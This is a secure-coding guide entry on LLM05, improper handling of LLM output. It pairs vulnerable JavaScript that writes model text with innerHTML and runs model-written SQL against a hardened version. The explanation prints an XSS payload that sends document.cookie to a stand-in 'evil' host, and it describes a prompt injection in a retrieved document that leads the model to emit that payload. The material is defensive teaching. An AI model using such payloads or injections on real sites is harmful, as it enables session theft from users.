LLM05: Improper Output Handling

Here is an example of JavaScript code that is vulnerable to improper handling of LLM output:

🥺 Vulnerable Code

// Vulnerable: model output is injected as HTML and its SQL is executed as-is
const answer = await llm.complete(userQuestion);
document.getElementById("answer").innerHTML = answer.text;

const generated = await llm.complete(`Write SQL for: ${userQuestion}`);
const rows = await db.query(generated.text);       // full read and write connection

Model output is untrusted input to whatever consumes it next. A response containing <img src=x onerror=fetch('//evil/'+document.cookie)> becomes stored XSS the moment it is written with innerHTML, and the attacker does not need to be the user typing - an injected instruction in a retrieved document can specify the payload. The generated SQL is executed with no review at all, so DROP TABLE or a query across every tenant's data is one hallucination away.

😎 Secure Code

Here is a version of the same code that is secured against improper handling of LLM output:

// Text stays text
const answer = await llm.complete(userQuestion);
document.getElementById("answer").textContent = answer.text;

// If rich formatting is genuinely required, sanitize with an allowlist:
// container.innerHTML = DOMPurify.sanitize(marked.parse(answer.text),
//   { ALLOWED_TAGS: ["p", "ul", "li", "code", "pre", "strong", "em", "a"] });

// Structured output instead of free-form SQL
const plan = await llm.chatWithSchema(userQuestion, ReportQuerySchema);  // { metric, range, groupBy }
const rows = await reportRepository.run(plan, {
  connection: readOnlyPool,
  tenantId: session.tenantId,
  timeoutMs: 5000,
});

textContent cannot execute anything, and when markup is required a sanitizer with an explicit tag allowlist plus a Content-Security-Policy keeps the damage contained. For actions, never let the model emit executable text: have it fill a constrained schema, validate that schema, and map it to parameterized queries on a read-only, tenant-scoped connection. The same rule applies to shell commands, file paths, and URLs the model suggests.